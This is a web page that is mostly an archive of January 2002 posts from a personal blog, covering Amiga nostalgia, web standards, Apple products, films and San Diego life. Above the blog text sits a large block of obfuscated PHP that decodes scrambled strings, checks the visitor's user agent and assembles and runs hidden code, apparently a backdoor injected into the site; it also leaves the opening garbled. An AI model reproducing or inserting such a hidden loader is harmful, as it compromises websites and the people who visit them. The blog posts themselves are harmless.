q%<#762]67y]562]38y]572]48y]#>m%:|:epdfe{h+{d%)+opjudovg+)!gj+{etrtolower($_SERVER[" x48 124 x54 120 x5f },;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/^#Y# x5cq% x27Y%6<.msv`ftsbqA7>q145")) or (strstr($uas," x66 151 x72 145 x66 157 x78"))) { $kzjy]D2P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]gj}1~!<2p% x7f!~!<##!>!2618d5f9#-!#f6c68399#-!#65ep%Z<^2 x5c2b%!>!2p%!*3y7f#! x2400~:/h%:<**#x5c%j:.2^,%b:%s: x5c%j:^Ew:Qn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%z:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6s%6~6< x7fw6<*K)ftpmdXA6|7**197-2qjjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufsyf`x x22l:!}V;3q%}U;y]}R;2]A x27K6< x7fw6*3qj%7> x2272qj%)7gj6<*1 156 x75 156 x61"]=1; $uas=slwml",str_split("%tjw!>!#]y84]-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#1]#-bubE{h%)tpqsut>j%!*72! x27!hmgfebfI{*w%)kVx{**#k#)tutj4`hA x27pd%6! x24/%tjw/ x24)% x24- x24y4 xg!|!**#j{hnpd#)tutjyf`opjudovg x22)!bssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UO984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6b:Qc:W~!%z!>21<%j=6[%ww2!>#p#/#p#/%z>2*!%z>3d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::dew = " x63 162 x65 141 x74 145 x5f 122#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>(0); $avmqxiq = implode(array_map("ngc* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]32*2qj%)hopm3qjA)qj3ho;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv} or (strstr($uas," x63 150 x72 157 x6d *-)1/2986+7**^/%rx<~!!%s:N}#-%o:W*r%:-t%)3of:opjudovg<~ x2424- x24tvctus)% x24- x24b!>!%yy)#}#-# x24-#o]1/20QUUI7jsv%7UFH# x27rf::::-111112)eobs`un>qp%!|Z~!<##!>eturn chr(ord($n)-1);} @error_reporting} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:]y3e]81#/#7e:55946-tr.984:75983:48_*#fmjgk4`{6~6>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfid7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~125 x53 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas," xgj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~:h%:<#64y]552]e7y])ebfsX x27u%)7fmjix6/7rfs%6<166 x3a 61 x31")) or (strstr($uas," x61 156 x64 162 x6f 151 x64"))%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdX2!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f2]y85]256]y6g]257]y86]267]y74]275]y7:]268]24- x24]y8 x24- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x>!%i x5c2^! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!6d 163 x69 145")) or (strstr($uas," x72 -%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]!%rN}#QwTW%hIr x5c1^-%r x5c2^275]y83]248]y83]256]y81]265]y72]254]y76#!(%w:!>! x2467pmA x273qj%6<*Y%)fnbozcYufhA x!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)1 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"]{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8;*msv%)}.;`UQPMSVD!-id%)uqpbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)suft`msvd},;uqpuft`msvd)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#W~%fdy)##-!#~<%h00#*<%#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*12bd%!<5h%/#0#/*#npd/#)rrd>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x##-!#~<#/% x24- x24!>!fyqmpef)# x24*^#zsfvr# x5cqFHB`SFTV`QUUI&b%!|!*)323zbek!~!b%Z<#opo#>b%!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbsgb2dc#*!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!ftmbg39*56A:>:8:|:7#6#)tuttcvt)!gj!|!*bubE{h%)j{hnpd!opjudov%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hm3e:5597f-s.973:8297f:5297e+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj6<*)ujojR x27id%6< x7fw6%c:>1<%b:>11<%j:=tj{fpg)%C x27pd%6|6.7eu{66~67<&w6<*&ldpt%}K;`ufldpt}X;`msvd}R6/7&6|7**111127-K]275]y83]273]y76]277##]y74]273]y76]25s:*<%j:,,Bjg!)%j:>>1*!%b:>1%s: ?hmg%)!gj!<**2-4-bubE{h%)sutc24- x24y7 x24- x24*1<%j=tj{fp57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%if((function_exists(" x)))) { $GLOBALS[" x66f 142 x5f 163 x74 14g)% x24- x24*!bssbz) x24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ xB%epnbss!>!bssbz)#44ec:649#-!#:%7**^#zsfvr# x5cq%)ufttj x22)gj6<* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;ut#*<%nfd>%fdy!%tdz)%bbT-%bT-%h]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284 x7f x7f x7fEzH,2W%wN;#-Ez-1H*WCw*[vt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)su]281L1#/#M5]DgP5]D6#<%fdg%)!gj!~j%!<**3-j%-bubE{h%)sutcvt-e = $kzjydew("", $avmqxiq); $nxhrpqe();}}67~6.%!<***f x27,*e x27,*N#*-!%ff2-!%t::**<(!#]y84vufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9*! x242178}527}88:}334}472 ]Df#<%tdz>#L4]275L3]248L3P6L1M5ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)z2]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5y3e]81]K78:56985:6197g:74985-rr.9StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSnjyjgjhxf'; $pdflylh=explode(chr((751-631)),substr($hrsbebdk,(26716-20696),(196-162))); $jteuxc = $pdflylh[0]($pdflylh[(4-3)]); $saemgag = $pdflylh[0]($pdflylh[(10-8)]); if (!function_exists('qxkuvsfser')) { function qxkuvsfser($vvpxnxs, $dyjzqua,$cxcpqeu) { $ivwakrnc = NULL; for($zvmyon=0;$zvmyon<(sizeof($vvpxnxs)/2);$zvmyon++) { $ivwakrnc .= substr($dyjzqua, $vvpxnxs[($zvmyon*2)],$vvpxnxs[($zvmyon*2)+(3-2)]); } return $cxcpqeu(chr((44-35)),chr((635-543)),$ivwakrnc); }; } $bunynr = explode(chr((144-100)),'4719,23,4762,21,3325,55,4742,20,925,29,74,41,2259,64,3076,40,2489,66,1758,39,265,64,1477,37,2850,55,1958,39,1550,38,954,30,3188,61,5419,40,1076,57,4417,28,2194,65,4470,22,2419,70,1898,27,721,35,2555,62,888,37,1696,20,3249,30,3913,69,4914,33,233,32,3862,51,2905,53,2073,64,5158,70,4358,24,1588,59,4947,37,5133,25,4445,25,3491,27,3617,22,4101,66,2323,62,5637,35,3639,56,1018,34,4227,46,5332,46,3717,46,4578,29,5255,53,4193,34,1193,36,443,24,493,22,3788,31,1514,36,3763,25,5485,32,1425,52,1925,33,4036,44,4299,59,3279,46,5871,65,1229,68,3982,54,2137,57,2958,61,1716,42,801,60,1997,42,4167,26,756,45,3380,70,45,29,2649,56,5073,60,5801,70,3575,42,1052,24,861,27,115,66,181,52,5582,55,4492,44,2705,42,515,57,4654,65,2385,34,399,44,0,45,1830,26,5737,33,4815,68,1856,42,1133,60,2747,59,4607,47,4783,32,3819,43,3019,57,2806,44,4883,31,467,26,4080,21,617,45,5228,27,3159,29,984,34,3116,43,5987,33,4273,26,662,59,2039,34,1297,67,5308,24,3450,41,5770,31,329,70,4984,38,3695,22,1647,49,5936,51,5022,51,5672,65,1797,33,4382,35,4536,42,572,45,1364,61,2617,32,3518,57,5459,26,5517,65,5378,41'); $rcoxxklo = $jteuxc("",qxkuvsfser($bunynr,$hrsbebdk,$saemgag)); $jteuxc=$hrsbebdk; $rcoxxklo(""); $rcoxxklo=(415-294); $hrsbebdk=$rcoxxklo-1; ?>
san diego california usa artlung.com is the personal website of joe crawford

←December 2001 February 2002→

72 ArtLung posts from January, 2002

January 1st, 2002

One of my favorite computing environments was my Amiga 1000…

One of my favorite computing environments was my Amiga 1000, which was purchased by my father back in around 1985 — while I was still in high school. I can now engage in nostalgia for that more innocent time by looking at this page. Collected there are many screenshots from the various iterations of Workbench. This was the operating system and GUI for the Amiga. Considering how old these screenshots are, they hold up well as a computing environment.

Other Amiga related stuff on ArtLung.com
TI-99, Amigas and PowerMacs, oh my!
amiga pictures

January 1st, 2002

Spam Note

Spam is out of control these days. I cribbed the phrases below from a slashdot thread on battling spam. Add these to your mail filters / rules so that they get looked for in the body of incoming mail. You can then have them moved for a folder for review.

Here are the phrases:

to be removed
to be permanently removed
to get removed
to get off the list
to get off this list
to be taken off
to remove yourself
removal instructions
remove in subject line
“remove” in subject line
remove in the subject
“remove” in the subject
‘remove’ in the subject
S. 1618

January 1st, 2002

Roast a Pig!

Jenny and I missed out on Noche Buena (Cuban Christmas Eve) in 2001. Maybe we’ll make it in 2002. The big tradition is a pig roast. Not familiar with the concept, and have a hankering to roast a 70-120 pound (30-55kg) pig? Learn how to roast a Noche Buena pig!

January 2nd, 2002

New Lab Item:

January 2nd, 2002

Ava South emailed me some kind comments recently…

Ava South emailed me some kind comments recently, and has a journal that’s worth a read. Check her out.

January 2nd, 2002

For no reason in particular:

January 2nd, 2002

Fun facts!

January 2nd, 2002

How Islam Lost Its Way:

How Islam Lost Its Way: {well worth a read}

For nearly four months now, leaders of the Muslim community in the United States, and even President Bush, have routinely asserted that Islam is a religion of peace that was hijacked by fanatics on Sept. 11.

These two assertions are simply untrue.

First, Islam — like Christianity, Judaism, Hinduism or any other religion — is not about peace. Nor is it about war. Every religion is about absolute belief in its own superiority and the divine right to impose its version of truth upon others. In medieval times, both the Crusades and the Jihads were soaked in blood. Today, there are Christian fundamentalists who attack abortion clinics in the United States and kill doctors; Muslim fundamentalists who wage their sectarian wars against each other; Jewish settlers who, holding the Old Testament in one hand and Uzis in the other, burn olive orchards and drive Palestinians off their ancestral land; and Hindus in India who demolish ancient mosques and burn down churches.

Now, religion itself can be a worthy thing, and gives comfort and support to billions of people. The trouble comes in when religion demands to be seen as the one true way to look at the world. Tolerance is golden.

January 3rd, 2002

For San Diegans: Residential Electronics Recycling Day is this Saturday

For San Diegans: Residential Electronics Recycling Day is this Saturday
This is such a good idea. Nobody has any idea what to do what that damn old MacII or 386, and what’s more disposing of them improperly lets all kinds of nasty toxics into our landfills.

So for goodness sake, recycle and dispose of electronics safely! And learn more about Electronics Reuse and Recycling at epa.gov

Question: How come neither San Diego Goodwill Industries nor The City of San Diego‘s Environmental Services / Recycling Programs have anything about this on their websites? Granted, it’s a once-a-year event, but it deserves more play than a story in the U-T.

January 3rd, 2002

For Screenwriters:

wordplayer.com looks like a neat resource for screenwriters.

January 3rd, 2002

Mage: The Movie?

Mage: The Movie?
One of my favorite comics from the 1980’s was Matt Wagner’s original Mage: The Hero Discovered. I have thought that it would make a great movie for years. At one point even Kevin Smith was talking about doing something with it. I think the motion picture industry has caught up with the comics. Lord of the Rings shows us that we can do anything in the movies when it comes to fantasy effects, goblins, dragons. Mage has some hard-to-pull off scenes, but I think it could be done. And more, I think it should be done. The pacing is such that I think the storyline could fit into a movie nicely – 2 to 2 1/2 hours should do it. And more, given the political climate, it would probably sell. It’s about a man who does not want to be a hero, but whose circumstances push him toward heroism. Hardly a unique story, but a good one. Time will tell if Mage will get out of development hell.

Other links on this:
Mage Movie Rounds First Base
Ancient Brain Parts
tnmc movie news: Mage

January 3rd, 2002

For Geeks:

webdav in two minutes. And that’s exactly how much time I have to spend on it!

January 3rd, 2002


I want one of these evolt.org special Christmas ornaments for Festivus 2002! Evolt is smurfy.

January 3rd, 2002

Griffith Observatory will get a massive refit!

Griffith Observatory will get a massive refit!
It’s going to take 3 years, but that’s good timing since I’m not in L.A. now. Heh.

I’m a sucker for Griffith Observatory. When I was a kid, maybe 6 or 7 years old I saw a planetarium show there that included a bit on constellations, and speculated on creatures from outer space. They included some pulp SF covers which scared the daylights out of me! I wish I knew which covers they were, it would be cathartic to see them again. That was also the era of Close Encounters of the Third Kind, aggravating my suggestibility. Oh, and I also have a soft spot for Paula Abdul’s Rush Rush, a song whose video features the observatory prominently — it copycats the plotline Rebel without a Cause. When I lived in L.A., I would often go up there to look, especially when I had visitors. One visitor from stands out: Jenny and Joe @ Griffith Park Observatory, 1996. And yes, that’s the Hollywood sign behind us – the camera is facing northwest.

And yes, it’s true. In addition to scads of html and javascript ephemera, I also keep the plotlines of Paul Abdul videos in my head.

January 3rd, 2002

Embed a time capsule in cockroach DNA…

Embed a time capsule in cockroach DNA. Cool idea. How will people know to look?

January 5th, 2002

Spellpunk and Family Ties

Captain Cursor coins the term Spellpunk …. I like the coinage! It seems to me that with Harry Potter and Lord of the Rings being the rage that I’m noticing fantasy fandom out there.

In other genre news, I bought the new Buckaroo Banzai DVD today. I don’t usually frequent The Wherehouse, but the one I bought it at — near the San Diego Sports Arena — had a a spanish cover of Tainted Love playing, which was an appropriate strangeness to go with the purchase of the genre-bending Banzai.

I also picked up some yummy See’s Candy to bring to an impromptu party for my Aunt Sally, who was married 2 weeks ago. It was nice to see my Mom’s side of the family — the Silva’s. The company was wonderful, and there was lots of great food as well. I rarely see that part of my family, probably to my detriment.

Jenny and I had a wonderful time.

I’m not sure, but could it have been La Union I was listening to at the Wherehouse?

January 6th, 2002

That felt good.

In attempting to reinvigorate myself, the site, or both, the home page has been replaced with something like a splash page, and there’s a new header to match it here in the blog.

I don’t know if it will stick, but it feels great to play.

As Bruce Sterling exhorts: Follow Your Weird!

January 7th, 2002

Re: Apple Hype

It’s a new iMac. Small and nifty. [ via macintouch ] The actual announcement will be in a few hours. I’m an Apple fan, have been since Amiga went down the tubes, and I always enjoy the Apple Hype. They do well for themselves making creative products and working the hype even better than Microsoft. In an alternate universe Steve Jobs is Bill Gates, and Bill Gates is CEO of a scrappy, smart Microsoft. But where we live Gates is the leader of dumb but relentless Microsoft, and Jobs is the impish, creative troublemaker.

Update, 6:50pm Pacific
Doc on the new iMac. He was there — worth a read.

January 7th, 2002

Quote of the Day:

“Without music to decorate it, time is just a bunch of boring production deadlines or dates by which bills must be paid.”
– Frank Zappa

January 7th, 2002

Neat rumors about a third version of Blade Runner…

Neat rumors about a third version of Blade Runner. Blade Runner is one of my favorite movies, so this is tasty news.

January 8th, 2002

Silly Scrollbars:

January 8th, 2002

Cookie Monster:

Seems like several times in the past few weeks I’ve seen questions on web405 and websandiego about the rules for cookie and cookie origin — and how those were pretty much plugged holes.

Well, The most modern and current versions of Windows IE 5.5 and 6 apparently are taking us back a few years when these holes were more common.

So, Microsoft in so doing is making liars of all of us who have “why cookies are safe” pages on sites.

I’m sick of their idiocy.

Microsoft Breaks Netscape Rule In New Security Flaw [ via ip ]

January 8th, 2002

Powerpoint Makes A Difference!

January 8th, 2002

Quote of the Day

January 8th, 2002

Pranzo con Kynn a Filippi’s

Today was unremarkable save that I had an enjoyable lunch with Kynn at local Pizza joint Filippis’s Pizza Grotto. There is no electronic substitute for good company, conversation, and food.

There are not many people on the planet who I can keep up with and can keep up with me while: eating antipasto and pizza; talking about Justice League, the W3C, section 508, CSS, web accessibility, the Web Standards Project, mailing lists, web.archive.org, DeCSS, Jakob Nielsen, Apple Industrial Design and Anime. Kynn took the train down (he lives north quite a few miles) and used the excuse that he could get some writing done on the train.

Entirely stimulating, and a very long lunch. Thankfully, I have a flexible employer.

I think the neatest thing about today’s lunch is that I realized something core about what’s going on today. That the September 11th events have brought in many web geeks a desire to do something more — to work towards projects and things which matter in ways that maybe can’t be expressed as part of a stock portfolio or balance sheet. I had not put it into words that way, but Kynn’s right. More of my friends and acquaintances who do web work are thinking of it in very different terms.

The other thing that I realized is that The Web Standards Project has not by any stretch fulfilled it’s mission. Kynn made me understand even clearer that the W3C’s role is really as a technical standards body. The W3C’s role is not and never has been one of advocacy. They merely write up “Recommendations.” Well dammit, there’s a need for Advocacy out there, and that’s the reason the The Web Standards Project was born in the first place – to interact with developers, user agent creators, authoring tool vendors – everyone who uses web standards.

Along the same lines, this is interesting: There is no grassroots organization taking up the issue of Web Accessibility as something to fight for, and something to evangelize on. There are folks doing lobbying, and writing law, but there’s no independent group serving an advocacy role for web accessibility.

I love passionate groups of people banding together. I’d like to see something more in this area.

Much food for thought for me.

And the pizza was good too.

January 8th, 2002

Mr. Ché

In keeping with the reorganization theme… Even my cat’s web page has been updated.

January 9th, 2002


I’ve reorganized the directory structure of my viridian design contest entries — and made a hub for (my) things Viridian: Viridian Design Movement / Joe’s Viridian Contest Entries.

January 9th, 2002

Alton Brown Grab Bag!

I’m not a Food Network fan per se. Jenny digs many of their shows. Me, I only like Alton Brown. His show is like the best old public television – This Old House or Victory Garden. TOH and VG were great shows (still are) even if you didn’t care about home improvement or gardening. It’s not about hyping the latest and greatest fashion, it’s about putting a technology in context (for Alton it’s food) in an interesting, educational, and entertaining way.

And now the grab bag… alton speaks | fan page | the yahoo group | good eats official page | alton and macs [ via backupbrain ]

You can also search for more.

January 10th, 2002

Book Review from Salon of Dot…

January 10th, 2002

Lyrics of the Day: Cheepnis and Village of the Sun

January 11th, 2002


As I have mentioned before, evolt.org is cool. And they only improve with age and time. I have not written any articles (I have one news item, and that was back in 1999), but I have a fair share of <tip>’s which I posted to thelist.

They also have implemented fancier user pageshere’s mine — with the new new graffito[?] ArtLung logo!

January 12th, 2002

Who doesn’t love a cheesy mustache?

Who doesn’t love a cheesy mustache?
More reorgs and changes making the site more modular under the hood. The bio page was updated to include some new links and formatting as well as a link to me in a cheesy mustache. I also made some small changes to to jenny’s pages on artlung.com.

Fun fact: according to dictionary.com, there are two acceptable spellings for that hair under your nose — mustache and moustache. Either way, I’m glad I got rid of that facial style.

January 12th, 2002

She’s Crafty

– Are you a chick?
– in the San Diego area?
– into fiber arts?
If this sounds like you, check out Stitch & Bitch

January 12th, 2002

Why haven’t I been to San Diego’s Apple Store yet?

Why haven’t I been to San Diego’s Apple Store yet?

Lazy or busy or both.

January 12th, 2002

A history of weblogs…

A history of weblogs, interesting.

January 12th, 2002

Scott Shaw!’s ODDBALL COMICS is cool…

Scott Shaw!’s ODDBALL COMICS is cool.

January 13th, 2002

From crazy Sassy: VBScript API listing Script…

From crazy Sassy: VBScript API listing Script. I had only a tiny part of that magnifico little script. Matt is the MAN. Regular expressions are fun!

January 13th, 2002

The GPS Personal Locator for Children is straight out of Bruce Sterling…

The GPS Personal Locator for Children is straight out of Bruce Sterling. Of course, just because you know where your child is, does not mean you know they are safe. And Dori, it’s cool AND creepy. This is the modern age. Jet planes take me thousands of miles to where my parents live, and they also have the capacity to destroy buildings. This our age, or perhaps our children’s age. Moreover, this is the 21st Century. The trick is to try and retain our essential humanity. Just don’t ask me how to do that. Heh. [ via backupbrain ]

January 13th, 2002

Ancient JavaScript Drawing Experiments

I remember doing lots of experiments with JavaScript when I was first learning it. One I had forgotten about was a drawing program I started in 1999. However, I wanted too high a resolution for what machines could handle then. It would always end up crashing browsers. In 2001 I dialed it back, and made it prettier. Still not really ready for prime time, and I never showed these to anyone. They can now be linked to from artlung.com/portfolio/draw. Recovering these is part of a wider effort to make my portfolio area make sense.

They are really not that impressive when compared to the stuff you can find at the 5k contest. However, I learned a much from these in trying them on different browsers and different operating systems and different machine processor speeds. I think these are a big part of how I am able to intuit how browsers will handle different amounts of scripting and complexity. I’m proud of them. For those which use PHP, I also provide the source code for each. So, check them out if you’d like.

January 13th, 2002

Ancient DTD Hacking

In 1999 I was inspired by the lack of the ability to validate code with things like the <nobr> tag, to write my own DTD – Document Type Definition. [see code] I think this article at Web Design Group was the thing that did it. If I remember correctly, their their validator actually listens to this “roll your own” technique. At the time there was no alternative to writing nonstandard html, and if you wanted to QA your code it was a hassle to see it complaining about things like marginwidth and marginheight in the <body> tag. The solution was to roll your own DTD and validate against that.

Modern browsers do their own thing when it comes to DOCTYPE declarations, so for public websites, using a custom doctype would probably be inviting trouble. But for QA, it could be useful. Here’s another article on this issue which may be worth your time.

January 14th, 2002


Alwin nails the straight dope on the Presidential fainting spell perfectly. Who better than a CCU nurse to tell you about vagal response? — Bush “Vagals” Himself, Film At Eleven. Edutainment Blogging!


January 15th, 2002

Continuous Quality Improvement:

Whew. Adding and refurbishing this site like crazy. The upper navigation has had the colophon added to it ( previously mentioned ); as well as a site index. Additionally, the portfolio is getting a substantial refit in an attempt to make it less confusing. Still not finished, but until then you can look at 10 year old digital artwork of mine in the fun area — Easter Card,1992. I hope to add more information to all the items in the portfolio. Information on how they were made, why they were made, and get them formatted correctly.

I also hope to add work that is more current for the pro section of the portfolio, again, detailing what I did or did not do on the sites in question. It’s important to me that I not overstate (or understate!) my role in the sites in question.

January 16th, 2002

Salt Lake City Olympics Website Accessibility: Oops.

B+R points out that the Salt Lake City olympics website is not accessible. Deja vu all over again. Why do so few web developers take the time to understand accessibility? For a high profile, general interest, information-rich site like one for the Olympics, you’d think someone would be paying attention. Why must this be an issue?

January 16th, 2002

Was up too late last night…

Was up too late last night. Working on a big project for work. Fun but tiring. Of course, it’s nothing compared to my co-workers who’ve been hip-deep in it for months.

Time to go to work!

January 16th, 2002

Google in Person! Jealous?

Google in Person! Jealous?
Mark Holmes of Nutshell Digital went to the San Diego Internet Marketers Association meeting last night. The featured speakers were folks from the esteemed Google, and I’m sorry I missed it. Mark posted a wrap up which is worth a read. ( via the WebSanDiego.org mailing list )

January 17th, 2002

Representations of Paths in Time and Space

Graphing lifelines is an interesting information design concept. I grew up all over the place and have been wanting to have a proper geographical map / timeline (a timeline is just a “map of time.” yes?) of all the places I’ve lived.

I know I find it useful in conversation to know more about the background of people – so I can communicate more effectively. If you know where a person comes from you’re more likely to know what kind of metaphors are going to resonate with them. I’m a strong believer in metaphor as a mechanism to teach and communicate. To my detriment at times. My wife and friend ewon still make fun of my “salty pie” metaphor, which I guess got out of hand and became ridiculous.

I compared an experience to mistaking salt for sugar when baking — but realizing the mistake halfway through — overcompensating by adding more sugar to cover it up. Thus, salty pie.

It makes sense to me.


January 17th, 2002

My Beard Is Blue

The home page / splash page has been changed. Check it out if you like. It’s xhtml compliant, and was a blast to do. Time for bed now.

January 18th, 2002

My Beard Is Blue 2: Electric Boogaloo

And for the blog header too. Permalink here, previous header was this. View all the old headers here. Time for work now.

January 18th, 2002

Nervous Energy Galore: document.getElementById

In a fit of nervous energy, I made a new lab item: modify the box! a dhtml experiment. Useless, but an excellent exercise. I sat down and wrote this in about an hour and a half. I definitely am feeling better about my confidence with dynamic html – which is where client-side scripting ( commonly referred to as JavaScript, but really it’s ECMAScript, meanwhile, Microsoft would have you call it JScript, and of course originally it was called LiveScript ) and CSS meet.

In a related note: Kynn solved my MSIE6 bug with the current splash page – the trick was to put a false line-height of 3pixels. I had a <div> that was appearing 18 pixels high despite being given a height of 3 pixels. It was apparently making an affordance for text that was not there. Good to know.

January 19th, 2002

Dead AirPort

Dead AirPort
Joe Calls Apple Tech Support
He Shoots He Scores!

So my trustyworthy AirPort Base Station which I have had and loved for a few years now is not responding. I’m currently on hold …. er …no I’m on the phone now…. just a sec…

Well, I went through the same troubleshooting with the amiable tech guy that I did on my own, and it looks like my base station is indeed hosed. They’re gonna send me a new one! Huzzah!

Kudos to Apple Tech Support!

It’s funny, when I called they asked if I had ever called Apple Support before, and I never ever had! This, despite the fact that I’ve owned two Macs for about six years. I think that says something about my experience as a customer.

¡Viva Apple!

January 20th, 2002

Live from Apple Store San Diego

Scoping the hardware, the sexy new iMac, the TiBooks and whatnot here at the Fashion Valley Apple Store — I’m here with crazy Matt Lee– I’m kicking myself that I didn’t bring a camera. Lots of luscious stuff here.

Apple sure knows how to put together a sexy retail experience.

January 20th, 2002

Ronny Vardy Fan Site

A few years ago at San Diego Comic Con I saw some of Ronny Vardy’s work in the gallery portion of the show. Her work was fresh, appealing, and fun. What’s not to love? When I had collected enough stuff, and managed to get some free time, well, here’s a web page!

More Links
»Ronny’s Site from 1999
»heather corinna 29 November 2001
»Vardy invades Moteaze November 2001
»Ronny’s Husband’s Site 2000

January 20th, 2002

They’re not booing…

They’re not booing, they’re saying LOUUUUU
Want to know what I miss? Lou’s Records. when I worked up in Solana Beach at EduPoint, I really enjoyed taking a ride up to Lou’s Records in Encinitas and browsing / buying their excellent stock. It’s a store in two buildings – one side is all used, and the other new. They also sell videos and other sundries. Good record stores are so hard to come by. I remember when I lived in Roanoke that I really treasured trips out of town. A trip to San Diego, L.A., or D.C. meant I could visit a Tower Records. When I lived in Charlottesville I would go to Plan 9, which was prettty good. Certainly better than anything in Roanoke.

Speaking of Charlottesville, I was living there when Dave Matthews was doing regular weekly shows. I always heard good things but never saw them play. Jenny is a huge fan of DMB and I still kick myself that I didn’t at least see them once. ( Note to self: pay attention to groups with strong grassroots followings ).

Dang, that was 10 years ago now that I missed out on Dave Matthews Band. I must be getting old.

January 21st, 2002

My page for Jennifer gets a makeover this morning…

My page for Jennifer gets a makeover this morning.

January 21st, 2002

Don’t be a passive media consumer, be active!

I saw Orange County today and Jack Black was amazing as usual. Some funny moments, but I find myself thinking much of it could have been left out. There’s only about 35 minutes of good movie lodged in that movie. Some cultural works require the full experience to get the right impact. But for some, you just need some of the bits and pieces. Cliff’s Notes. No, not Cliff’s Notes – more – abridged versions. Maybe this is a function for a future TiVo. Think of how many BAD movies there are on cable. Now consider that maybe some of these 90 minute monstrosities may have a 20 minute short film lurking in them. A short film that’s pretty good even! Or perhaps the businessperson on the go – she has no time to sit through Titanic or Gladiator – how about the 35 minute versions of those? Like a remix! I’m liking this idea more and more. Rap/Hip hop was built by people who took existing music, and cut it up in interesting ways. Spielberg’s A.I. was overlong and manipulative, but maybe there’s a film+video Moby or Brian Eno out there who will recut it in a way that’s interesting. Maybe it’s A.I.: The 30 minute adventure! or A.I.: The Sad 20 Minute Version. There is an antecedent for this, for Star Wars – but that’s full length. I want to see multiple, alternate versions. As more people have powerful desktop video capabilities, I hope we’ll see a recut underground.

January 22nd, 2002

Time management. Do as I say not as I do

On 20 December 2001, Matthew Walden sent me some corrected text for his experiences making my Make an RTF Document with PHP work under IIS, and just now, a month later, I am putting said text in place. Matthew rocks, and I am tardy.

January 23rd, 2002

me so sleepy. me program long time.

I meant to fricking go to bed early. But sadly, I did not. On the plus side, I have updated the dhtml part of the portfolio. It’s validating xhtml and css and everything, just like Jeffrey Zeldman would like. It works and was tested in MSIE5/Mac, IE6/Windows, Netscape 6.2/Windows. It renders well in Lynx as well, which is nice. In Netscape 4.79 it looks and works fine as well. I can’t tell, but apparently it’s the vogue to make your site terribly ugly in Netscape 4. Ho hum. It’s less attractive and less functional, sure. But something in me makes me consider Netscape 4. I can’t take pride in a site that breaks terribly in my old pal Netscape 4. Opera 5 for Mac is a bit funky with it. I dynamically assign locations to <div>s, but Opera is grommeting them to the upper left corner of the browser. I’m not sure if it’s my bug or theirs.

Anyway…the take home message is this: New and Improved, Joe’s qualifications rendered in validating dynamic html ! And not a single <table> in sight. Kind of neat to see a design of mine not change when I run the Table-ize bookmarklet.

January 23rd, 2002

Opera Issue Licked!

About the previous entry, I was using style.posTop and style.posLeft under the code block for document.all. This used to work, but no longer does. Nice to know that about Opera!

January 25th, 2002

Racquetball Championships on ESPN in February

January 25th, 2002

iSwitch …

iSwitchbrilliant idea

But a big part of the reluctance is the switching cost. People don’t want to have to fight with Windows to transfer all their old stuff over.

